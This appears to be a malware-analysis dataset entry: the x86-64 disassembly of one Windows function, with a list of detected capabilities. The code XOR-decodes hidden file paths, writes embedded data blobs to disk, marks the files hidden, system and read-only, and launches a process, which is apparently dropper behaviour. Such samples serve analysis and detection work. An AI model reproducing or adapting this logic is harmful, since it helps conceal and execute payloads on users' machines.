Function at 0x140001828
Capabilities:
Check if file exists
Create process on windows
Get file attributes
Set file attributes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
sub rsp, 0x200
lea rbp, [rsp + 0x70]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x14013d0c0]
xor rax, rsp
mov qword [rbp + 0x180], rax
movabs r13, 0x3fea25f553cdad2
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x100], rax
movabs rax, 0xe617128d9b7bb227
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x108], rax
movabs rax, 0xe0af772803b1b387
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x110], rax
movabs rax, 0x4568d5f438b4da01
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x118], rax
movabs rax, 0x68eaf40a623362dc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x120], rax
movabs rax, 0xa1119c6ac409852f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x128], rax
movabs rsi, 0x39fa2035506da91
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x140], rax
movabs r14, 0xe62312fe9b1ab246
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x148], rax
movabs r15, 0xe0c8774d03e3b3db
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x150], rax
movabs r12, 0x451ad58038c7da68
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x158], rax
movabs rax, 0x6892f46f621d62a5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x160], rax
movabs rax, 0xa1119c6ac409854a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x168], rax
vmovdqu ymm0, ymmword [rbp + 0x100]
vpxor ymm1, ymm0, ymmword [rbp + 0x140]
vmovdqa ymmword [rbp + 0x100], ymm1
vmovdqa xmm0, xmmword [rbp + 0x120]
vxorps xmm0, xmm0, xmmword [rbp + 0x160]
vmovdqa xmmword [rbp + 0x120], xmm0
lea rcx, [rbp + 0x100]
vzeroupper
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x1400019e4
and eax, 0xfffffff8
mov edx, eax
lea rcx, [rbp + 0x100]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
movabs rax, 0x3fba25f553cdad2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x60], rax
movabs rax, 0xe623129f9b7eb222
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x68], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x100], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x108], rax
movdqa xmm0, xmmword [rbp + 0x60]
xorps xmm0, xmmword [rbp + 0x100]
movdqa xmmword [rbp + 0x60], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x140], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x150], xmm1
lea rax, [rbp + 0x60]
or rbx, 0xffffffffffffffff
mov r8, rbx
xor edi, edi
inc r8
cmp word [rax + r8*2], di
jne 0x140001a61
lea rdx, [rbp + 0x60]
lea rcx, [rbp + 0x140]
call fcn.140002428
nop
lea rcx, [rbp + 0x140]
call fcn.140045b28
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x100], rax
movabs rax, 0xe617128d9b7bb227
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x108], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x110], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x118], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x60], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x68], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x70], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x78], rax
vmovdqu ymm0, ymmword [rbp + 0x100]
vpxor ymm1, ymm0, ymmword [rbp + 0x60]
vmovdqu ymmword [rbp + 0x100], ymm1
vxorps xmm0, xmm0, xmm0
vmovups xmmword [rbp + 0xe0], xmm0
vxorps xmm1, xmm1, xmm1
vmovdqu xmmword [rbp + 0xf0], xmm1
lea rax, [rbp + 0x100]
mov r8, rbx
vzeroupper
inc r8
cmp word [rax + r8*2], di
jne 0x140001b38
lea rdx, [rbp + 0x100]
lea rcx, [rbp + 0xe0]
call fcn.140002428
nop
lea rcx, [rbp + 0xe0]
call fcn.140045b28
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x60], rax
movabs rax, 0xe617128d9b7bb227
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x68], rax
movabs rax, 0xe0af772803b1b387
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x70], rax
movabs rax, 0x4568d5f438b4da01
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x78], rax
movabs rax, 0x68eaf40a623362dc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x80], rax
movabs rax, 0xa1119c6ac409852f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x88], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x100], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x108], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x110], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x118], rax
movabs rax, 0x6892f46f621d62a5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x120], rax
movabs rax, 0xa1119c6ac409854a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x128], rax
vmovdqu ymm0, ymmword [rbp + 0x60]
vpxor ymm1, ymm0, ymmword [rbp + 0x100]
vmovdqa ymmword [rbp + 0x60], ymm1
vmovdqa xmm0, xmmword [rbp + 0x80]
vxorps xmm0, xmm0, xmmword [rbp + 0x120]
vmovdqa xmmword [rbp + 0x80], xmm0
vxorps xmm0, xmm0, xmm0
vmovups xmmword [rbp + 0x100], xmm0
vxorps xmm1, xmm1, xmm1
vmovdqu xmmword [rbp + 0x110], xmm1
lea rax, [rbp + 0x60]
mov r8, rbx
vzeroupper
inc r8
cmp word [rax + r8*2], di
jne 0x140001c9c
lea rdx, [rbp + 0x60]
lea rcx, [rbp + 0x100]
call fcn.140002428
nop
mov r8d, 0xf4a00
lea rdx, [0x14013d170]
lea rcx, [rbp + 0x100]
call fcn.1400458d0
nop
lea rcx, [rbp + 0x100]
call fcn.140002380
movabs rax, 0x3fba25f553cdad2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x100], rax
movabs rax, 0xe67f129f9b7eb222
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x108], rax
movabs rax, 0xe0a177390380b3ba
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x110], rax
movabs rax, 0x451ad58038a2da1e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x118], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x60], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x68], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x70], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x78], rax
vmovdqu ymm0, ymmword [rbp + 0x100]
vpxor ymm1, ymm0, ymmword [rbp + 0x60]
vmovdqu ymmword [rbp + 0x100], ymm1
vxorps xmm0, xmm0, xmm0
vmovups xmmword [rbp + 0x60], xmm0
vxorps xmm1, xmm1, xmm1
vmovdqu xmmword [rbp + 0x70], xmm1
lea rax, [rbp + 0x100]
mov r8, rbx
vzeroupper
inc r8
cmp word [rax + r8*2], di
jne 0x140001da5
lea rdx, [rbp + 0x100]
lea rcx, [rbp + 0x60]
call fcn.140002428
nop
mov r8d, 0x10b9
lea rdx, [0x140231b70]
lea rcx, [rbp + 0x60]
call fcn.1400458d0
nop
lea rcx, [rbp + 0x60]
call fcn.140002380
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x60], rax
movabs rax, 0xe617128d9b7bb227
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x68], rax
movabs rax, 0xe0af772803b1b387
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x70], rax
movabs rax, 0x4568d5f438b4da01
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x78], rax
movabs rax, 0x68f7f441623362dc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x80], rax
movabs rax, 0xa1119c6ac46c8532
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x88], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x100], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x108], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x110], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x118], rax
movabs rax, 0x6892f46f621d62a5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x120], rax
movabs rax, 0xa1119c6ac409854a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x128], rax
vmovdqu ymm0, ymmword [rbp + 0x60]
vpxor ymm1, ymm0, ymmword [rbp + 0x100]
vmovdqa ymmword [rbp + 0x60], ymm1
vmovdqa xmm0, xmmword [rbp + 0x80]
vxorps xmm0, xmm0, xmmword [rbp + 0x120]
vmovdqa xmmword [rbp + 0x80], xmm0
vxorps xmm0, xmm0, xmm0
vmovups xmmword [rbp + 0x100], xmm0
vxorps xmm1, xmm1, xmm1
vmovdqu xmmword [rbp + 0x110], xmm1
lea rax, [rbp + 0x60]
vzeroupper
inc rbx
cmp word [rax + rbx*2], di
jne 0x140001f17
mov r8, rbx
lea rdx, [rbp + 0x60]
lea rcx, [rbp + 0x100]
call fcn.140002428
nop
mov r8d, 0x10b9
lea rdx, [0x140231b70]
lea rcx, [rbp + 0x100]
call fcn.1400458d0
nop
lea rcx, [rbp + 0x100]
call fcn.140002380
movabs rax, 0x3fba25f553cdad2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x60], rax
movabs rax, 0xe623129f9b7eb222
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x68], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x100], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x108], rax
movdqa xmm0, xmmword [rbp + 0x60]
xorps xmm0, xmmword [rbp + 0x100]
movdqa xmmword [rbp + 0x60], xmm0
lea rcx, [rbp + 0x60]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140001fd3
or eax, 7
mov edx, eax
lea rcx, [rbp + 0x60]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x100], rax
movabs rbx, 0xe617128d9b7bb227
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x108], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x110], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x118], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x60], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x68], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x70], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x78], rax
vmovdqu ymm0, ymmword [rbp + 0x100]
vpxor ymm1, ymm0, ymmword [rbp + 0x60]
vmovdqu ymmword [rbp + 0x100], ymm1
lea rcx, [rbp + 0x100]
vzeroupper
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x140002085
or eax, 7
mov edx, eax
lea rcx, [rbp + 0x100]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x60], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x68], rax
movabs rcx, 0xe0af772803b1b387
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x70], rax
movabs rdx, 0x4568d5f438b4da01
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x78], rax
movabs r10, 0x68eaf40a623362dc
mov qword [rbp], r10
mov rax, qword [rbp]
mov qword [rbp + 0x80], rax
movabs r11, 0xa1119c6ac409852f
mov qword [rbp], r11
mov rax, qword [rbp]
mov qword [rbp + 0x88], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x100], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x108], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x110], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x118], rax
movabs r8, 0x6892f46f621d62a5
mov qword [rbp], r8
mov rax, qword [rbp]
mov qword [rbp + 0x120], rax
movabs r9, 0xa1119c6ac409854a
mov qword [rbp], r9
mov rax, qword [rbp]
mov qword [rbp + 0x128], rax
vmovdqu ymm0, ymmword [rbp + 0x60]
vpxor ymm1, ymm0, ymmword [rbp + 0x100]
vmovdqa ymmword [rbp + 0x60], ymm1
vmovdqa xmm0, xmmword [rbp + 0x80]
vxorps xmm0, xmm0, xmmword [rbp + 0x120]
vmovdqa xmmword [rbp + 0x80], xmm0
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x30], rax
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x38], rax
mov qword [rbp], r10
mov rax, qword [rbp]
mov qword [rbp + 0x40], rax
mov qword [rbp], r11
mov rax, qword [rbp]
mov qword [rbp + 0x48], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0x100], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x108], rax
mov qword [rbp], r15
mov rax, qword [rbp]
mov qword [rbp + 0x110], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x118], rax
mov qword [rbp], r8
mov rax, qword [rbp]
mov qword [rbp + 0x120], rax
mov qword [rbp], r9
mov rax, qword [rbp]
mov qword [rbp + 0x128], rax
vmovdqu ymm0, ymmword [rbp + 0x20]
vpxor ymm1, ymm0, ymmword [rbp + 0x100]
vmovdqa ymmword [rbp + 0x20], ymm1
vmovdqa xmm0, xmmword [rbp + 0x40]
vxorps xmm0, xmm0, xmmword [rbp + 0x120]
vmovdqa xmmword [rbp + 0x40], xmm0
lea rcx, [rbp + 0x60]
vzeroupper
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x14000227a
or eax, 7
mov edx, eax
lea rcx, [rbp + 0x60]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov dword [rbp + 0x60], 0x68
xor edx, edx
lea r8d, [rdx + 0x60]
lea rcx, [rbp + 0x68]
call sub.VCRUNTIME140.dll_memset
lea rax, [rbp + 0x100]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x20]
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x1400022e8
mov rcx, qword [rbp + 0x100]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x108]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
lea rcx, [rbp + 0xe0]
call fcn.140002380
nop
lea rcx, [rbp + 0x140]
call fcn.140002380
mov rcx, qword [rbp + 0x180]
xor rcx, rsp
call fcn.1400b0380
lea r11, [rsp + 0x200]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret